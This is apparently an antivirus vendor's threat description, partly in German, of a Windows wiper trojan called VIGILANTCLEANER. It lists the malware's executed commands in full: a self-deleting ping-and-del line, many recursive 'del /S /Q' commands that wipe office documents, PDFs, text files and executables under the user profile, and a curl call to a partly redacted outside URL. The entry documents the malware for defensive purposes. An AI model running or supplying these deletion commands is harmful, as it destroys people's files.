Trojan.Win32.VIGILANTCLEANER.ZKIG

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Wird ausgeführt und löscht sich dann selbst.

Löscht Dateien, so dass Programme und Anwendungen nicht ordnungsgemäß ausgeführt werden.

Übertragungsdetails

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

Fügt die folgenden Prozesse hinzu:

• cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "{Malware Path}\{MalwareName}"
• If anti-analysis checks are bypassed:
  • %System%\cmd.exe /c echo Microsoft Windows 10 self error check has been ready...
  • %System%\cmd.exe /c echo Copyright (C) 2003-2015 Microsoft Corporation
  • %System%\cmd.exe /c echo Copyright (C) 2003-2021 Adobe Corporation
  • %System%\cmd.exe /c echo DO NOT STOP THE PROCESS
  • %System%\cmd.exe /c echo Wait a minute...
  • %System%\cmd.exe /c @echo OFF
  • %System%\cmd.exe /c del /S /Q *.doc %System Root%\users\%username%\ > nul
  • %System%\cmd.exe /c del /S /Q *.docm %System Root%\users\%username%\ > nul
  • %System%\cmd.exe /c del /S /Q *.docx %System Root%\users\%username%\ > nul
  • %System%\cmd.exe /c del /S /Q *.dot %System Root%\users\%username%\ > nul
  • %System%\cmd.exe /c del /S /Q *.dotm %System Root%\users\%username%\ > nul
  • %System%\cmd.exe /c del /S /Q *.dotx %System Root%\users\%username%\ > nul
  • %System%\cmd.exe /c del /S /Q *.pdf %System Root%\users\%username%\ > nul
  • %System%\cmd.exe /c del /S /Q *.csv %System Root%\users\%username%\ > nul
  • %System%\cmd.exe /c del /S /Q *.xls %System Root%\users\%username%\ > nul
  • %System%\cmd.exe /c del /S /Q *.xlsx %System Root%\users\%username%\ > nul
  • %System%\cmd.exe /c del /S /Q *.xlsm %System Root%\users\%username%\ > nul
  • %System%\cmd.exe /c del /S /Q *.ppt %System Root%\users\%username%\ > nul
  • %System%\cmd.exe /c del /S /Q *.pptx %System Root%\users\%username%\ > nul
  • %System%\cmd.exe /c del /S /Q *.pptm %System Root%\users\%username%\ > nul
  • %System%\cmd.exe /c del /S /Q *.jtdc %System Root%\users\%username%\ > nul
  • %System%\cmd.exe /c del /S /Q *.jttc %System Root%\users\%username%\ > nul
  • %System%\cmd.exe /c del /S /Q *.jtd %System Root%\users\%username%\ > nul
  • %System%\cmd.exe /c del /S /Q *.jtt %System Root%\users\%username%\ > nul
  • %System%\cmd.exe /c del /S /Q *.txt %System Root%\users\%username%\ > nul
  • %System%\cmd.exe /c del /S /Q *.exe %System Root%\users\%username%\ > nul
  • %System%\cmd.exe /c del /S /Q *.log %System Root%\users\%username%\ > nul
  • %System%\cmd.exe /c curl -s -e https://www.x{BLOCKED}.com -A "Mozilla / 5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko / 20100101 Firefox / 66.0" https://www.x{BLOCKED}.com/video64080443/_ > nul

Wird ausgeführt und löscht sich dann selbst.

Andere Systemänderungen

Löscht die folgenden Dateien:

• inside the following directories:
  • %User Profile%
  • {Malware Path}
• with the following extensions:
  • *.doc
  • *.docm
  • *.docx
  • *.dot
  • *.dotm
  • *.dotx
  • *.pdf
  • *.csv
  • *.xls
  • *.xlsx
  • *.xlsm
  • *.ppt
  • *.pptx
  • *.pptm
  • *.jtdc
  • *.jttc
  • *.jtd
  • *.jtt
  • *.txt
  • *.exe
  • *.log

(Hinweis: %User Profile% ist der Ordner für Benutzerprofile des aktuellen Benutzers, normalerweise C:\Windows\Profile\{Benutzername} unter Windows 98 und ME, C:\WINNT\Profile\{Benutzername} unter Windows NT, C:\Dokumente und Einstellungen\{Benutzername} unter Windows 2000(32-bit), XP und Server 2003(32-bit) und C:\Users\{user name} unter Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) und 10(64-bit).)

Andere Details

Es macht Folgendes:

• It logs its routine in the console.
• It attempts to connect to the following URL:
  • https://www.x{BLOCKED}.com/video64080443/_
  • with the following specifications:
    • Referrer: https://www.x{BLOCKED}.com
    • User-Agent: Mozilla / 5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko / 20100101 Firefox / 66.0